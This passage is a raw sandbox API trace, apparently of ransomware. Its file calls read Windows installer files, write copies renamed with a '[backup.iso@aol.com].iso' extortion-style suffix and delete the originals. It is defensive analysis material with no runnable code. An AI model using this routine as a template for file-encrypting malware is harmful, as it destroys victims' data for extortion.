dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0098.047] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0098.048] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0098.048] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0098.048] ReadFile (in: hFile=0x304, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x4b58, lpOverlapped=0x0) returned 1 [0098.374] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x4b60, lpOverlapped=0x0) returned 1 [0098.375] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0098.375] CloseHandle (hObject=0x304) returned 1 [0098.376] CloseHandle (hObject=0x310) returned 1 [0098.413] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1 [0098.415] SetEvent (hEvent=0x2cc) returned 1 [0098.415] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0098.415] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=3046) returned 1 [0098.415] CloseHandle (hObject=0x310) returned 1 [0098.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0098.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0098.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0098.416] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0098.416] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0098.416] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0098.416] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0098.432] ReadFile (in: hFile=0x310, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0xbe6, lpOverlapped=0x0) returned 1 [0098.517] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xbf0, lpOverlapped=0x0) returned 1 [0098.518] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0098.518] CloseHandle (hObject=0x310) returned 1 [0098.518] CloseHandle (hObject=0x330) returned 1 [0098.519] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1 [0098.521] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0098.521] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=4040) returned 1 [0098.521] CloseHandle (hObject=0x330) returned 1 [0098.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0098.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0098.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0098.522] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0098.522] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0098.522] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0098.522] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0098.534] ReadFile (in: hFile=0x330, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0xfc8, lpOverlapped=0x0) returned 1 [0098.599] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xfd0, lpOverlapped=0x0) returned 1 [0098.600] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0098.601] CloseHandle (hObject=0x330) returned 1 [0098.601] CloseHandle (hObject=0x310) returned 1 [0098.602] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1 [0098.603] SetEvent (hEvent=0x2cc) returned 1 [0098.603] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0098.604] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=82374) returned 1 [0098.604] CloseHandle (hObject=0x310) returned 1 [0098.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0098.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0098.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0098.604] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0098.604] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0098.604] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0098.605] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0098.605] ReadFile (in: hFile=0x310, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x141c6, lpOverlapped=0x0) returned 1 [0098.613] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x141d0, lpOverlapped=0x0) returned 1 [0098.615] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0098.615] CloseHandle (hObject=0x310) returned 1 [0098.615] CloseHandle (hObject=0x330) returned 1 [0098.618] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1 [0098.620] SetEvent (hEvent=0x2cc) returned 1 [0098.620] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0098.621] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=18264) returned 1 [0098.621] CloseHandle (hObject=0x330) returned 1 [0098.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0098.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0098.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0098.621] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0098.622] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0098.622] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0098.622] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0098.623] ReadFile (in: hFile=0x330, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x4758, lpOverlapped=0x0) returned 1 [0098.628] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x4760, lpOverlapped=0x0) returned 1 [0098.631] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0098.631] CloseHandle (hObject=0x330) returned 1 [0098.631] CloseHandle (hObject=0x310) returned 1 [0098.633] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1 [0098.634] SetEvent (hEvent=0x2cc) returned 1 [0098.634] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0098.635] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=3683) returned 1 [0098.635] CloseHandle (hObject=0x310) returned 1 [0098.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0098.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0098.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0098.635] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0098.635] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0098.635] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0098.635] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c8 [0098.641] ReadFile (in: hFile=0x310, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0xe63, lpOverlapped=0x0) returned 1 [0098.644] WriteFile (in: hFile=0x2c8, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xe70, lpOverlapped=0x0) returned 1 [0098.645] WriteFile (in: hFile=0x2c8, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0098.645] CloseHandle (hObject=0x310) returned 1 [0098.645] CloseHandle (hObject=0x2c8) returned 1 [0098.648] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1 [0098.649] SetEvent (hEvent=0x2cc) returned 1 [0098.649] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0098.650] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=80738) returned 1 [0098.650] CloseHandle (hObject=0x2c8) returned 1 [0098.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0098.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0098.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0098.650] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0098.650] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0098.650] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0098.650] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0098.651] ReadFile (in: hFile=0x2c8, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x13b62, lpOverlapped=0x0) returned 1 [0099.690] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x13b70, lpOverlapped=0x0) returned 1 [0099.693] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0099.693] CloseHandle (hObject=0x2c8) returned 1 [0099.693] CloseHandle (hObject=0x310) returned 1 [0099.697] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1 [0099.700] SetEvent (hEvent=0x2cc) returned 1 [0099.700] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0099.701] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=18264) returned 1 [0099.701] CloseHandle (hObject=0x310) returned 1 [0099.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0099.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0099.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0099.704] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0099.704] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0099.704] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0099.704] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c8 [0099.704] ReadFile (in: hFile=0x310, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x4758, lpOverlapped=0x0) returned 1 [0099.710] WriteFile (in: hFile=0x2c8, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x4760, lpOverlapped=0x0) returned 1 [0099.712] WriteFile (in: hFile=0x2c8, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0099.712] CloseHandle (hObject=0x310) returned 1 [0099.712] CloseHandle (hObject=0x2c8) returned 1 [0099.714] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1 [0099.716] SetEvent (hEvent=0x2cc) returned 1 [0099.716] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0099.717] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=54456) returned 1 [0099.717] CloseHandle (hObject=0x2c8) returned 1 [0099.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0099.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0099.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0099.718] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0099.718] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0099.718] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0099.718] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: 